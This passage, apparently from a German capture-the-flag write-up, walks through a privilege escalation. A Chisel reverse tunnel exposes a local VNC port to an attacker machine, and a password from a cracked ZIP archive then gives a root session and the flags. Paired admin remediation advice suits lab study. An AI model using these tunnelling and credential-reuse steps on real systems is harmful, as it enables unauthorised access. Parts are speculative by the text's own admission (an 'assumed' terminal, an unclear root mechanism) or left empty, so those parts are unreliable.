Obwohl der Inhalt der `passwd`-Datei nicht explizit gezeigt wird, wird im Folgenden angenommen, dass sie das Passwort für den VNC-Zugriff enthält und dieses Passwort im `vncviewer`-Befehl verwendet wird.
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
RFB 003.008
**Analyse:** `telnet` wird verwendet, um eine Verbindung zum lokalen VNC-Port 5901 herzustellen.
**Bewertung:** Bestätigt, dass der Dienst auf dem Port läuft und das RFB-Protokoll (VNC) spricht.
**Empfehlung (Pentester):** Richten Sie Port Forwarding ein, um mit einem VNC-Client darauf zuzugreifen.
**Empfehlung (Admin):** Keine Aktion.
**Einrichten des Port Forwarding für VNC**
2024/09/16 00:10:26 server: Reverse tunnelling enabled 2024/09/16 00:10:26 server: Fingerprint ctZKU2QkNTLST5/3nShDoo4KJq2vPFyHSrzwP92iUU= 2024/09/16 00:10:26 server: Listening on http://0.0.0.0:9080
(... Chisel HTTP Server und Download wie zuvor ...)
2024/09/16 00:12:39 client: Connecting to ws://192.168.2.199:9080
2024/09/16 00:12:39 client: Connected (Latency 421.737µs)
**Analyse:** Chisel wird verwendet, um einen Reverse Tunnel einzurichten. Port 5901 auf dem Zielsystem (`127.0.0.1:5901`) wird auf Port 5901 auf dem Angreifersystem (`R:5901`) weitergeleitet.
**Bewertung:** Notwendiger Schritt, um vom Angreifersystem aus auf den lokalen VNC-Server zuzugreifen.
**Empfehlung (Pentester):** Verbinden Sie sich nun mit `vncviewer 127.0.0.1:5901` auf Ihrem Angreifersystem.
**Empfehlung (Admin):** Tunneling erkennen/blockieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 00:15 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000030s latency). PRT STATE SERVICE 5901/tcp open vnc-1 Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
**Analyse:** Nmap-Scan gegen den lokalen Port 5901 auf dem Angreifersystem, um den weitergeleiteten VNC-Port zu überprüfen.
**Bewertung:** Bestätigt, dass der Tunnel funktioniert und der VNC-Port erreichbar ist.
**Empfehlung (Pentester):** Verbinden Sie sich mit VNCViewer.
**Empfehlung (Admin):** Keine Aktion.
VNC Virtual Private Network Client gefunden...
vncviewer: VNC server closed connection
**Analyse:** `vncviewer` wird verwendet, um sich mit dem VNC-Server über den Tunnel zu verbinden. Die Option `-passwd passwd` übergibt den Inhalt der Datei `passwd` (die das Passwort aus der ZIP-Datei enthält) als Passwort.
**Bewertung:** Die Verbindung scheint kurz aufgebaut, aber dann sofort wieder geschlossen zu werden ("VNC server closed connection"). Dies kann verschiedene Ursachen haben, aber oft deutet es bei erfolgreicher Authentifizierung darauf hin, dass keine grafische Sitzung verfügbar ist oder nur eine kurzlebige Verbindung möglich war.
**Empfehlung (Pentester):** Auch wenn die Verbindung abbricht, könnte die Authentifizierung erfolgreich gewesen sein und serverseitig Aktionen ausgelöst haben. Es ist unklar, wie hierüber Root erlangt wurde, außer es läuft eine privilegierte VNC-Sitzung. Der nächste Log-Eintrag zeigt eine Root-Shell im VNC-Terminal.
**Empfehlung (Admin):** VNC sicher konfigurieren oder deaktivieren.
**Aktionen im (angenommenen) VNC-Terminal**
VNC TERMINAL: # id uid=0(root) gid=0(root) grupos=0(root) root@internal: passwd root Nueva contraseña: benni ....
**Analyse:** Innerhalb der VNC-Sitzung (die wir nicht direkt sehen, aber deren Kommandos hier protokolliert sind) zeigt `id`, dass wir `root` sind. Es wird versucht, das Root-Passwort zu ändern.
**Bewertung:** Bestätigt Root-Zugriff über VNC. Der genaue Mechanismus, warum die VNC-Sitzung Root-Rechte hat, ist unklar (z.B. Xvnc als root gestartet?).
**Empfehlung (Pentester):** Root-Zugriff ist erreicht.
**Empfehlung (Admin):** VNC-Konfiguration überprüfen und absichern. Untersuchen, warum der VNC-Server als Root läuft.
**Kurzbeschreibung:** Im Home-Verzeichnis des Benutzers `admin` wurde eine passwortgeschützte ZIP-Datei (`internalkey.zip`) gefunden. Das Passwort für die ZIP-Datei konnte mittels `zip2john` und `john` geknackt werden (`4dM1Nt3rN4LP4zZ`). Die ZIP-Datei enthielt eine Datei (`passwd`), die das Passwort für einen VNC-Server enthielt, der auf Port 5901 nur lokal auf dem Zielsystem lauschte. Mittels Port Forwarding (Chisel) wurde der VNC-Port auf das Angreifersystem weitergeleitet. Die Verbindung zum VNC-Server mit dem extrahierten Passwort gewährte direkten Zugriff auf eine Sitzung, die als `root`-Benutzer lief.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Die Kombination aus unsicher gespeicherten Archiven, Passwort-Wiederverwendung (SSH-Passwort = ZIP-Passwort) und einem unsicher konfigurierten VNC-Server ermöglichte die Eskalation von einem Benutzerkonto zu vollen Root-Rechten.
**Empfehlungen:**
22c15f8a6b80b178f36f3fcf5053bd82
root.txt
94f50378a53c0c1eb0899494e352766b
**Analyse:** Nach Erlangung der Root-Rechte über VNC werden die User-Flag aus `/home/admin/user.txt` und die Root-Flag aus `/root/root.txt` ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich erfasst. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (LFI -> Credential Leak -> SSH -> ZIP -> VNC -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen (LFI, unsichere Passwortspeicherung/-übergabe, Passwort-Wiederverwendung, unsichere VNC-Konfiguration). Überprüfen Sie das System auf Persistenzmechanismen.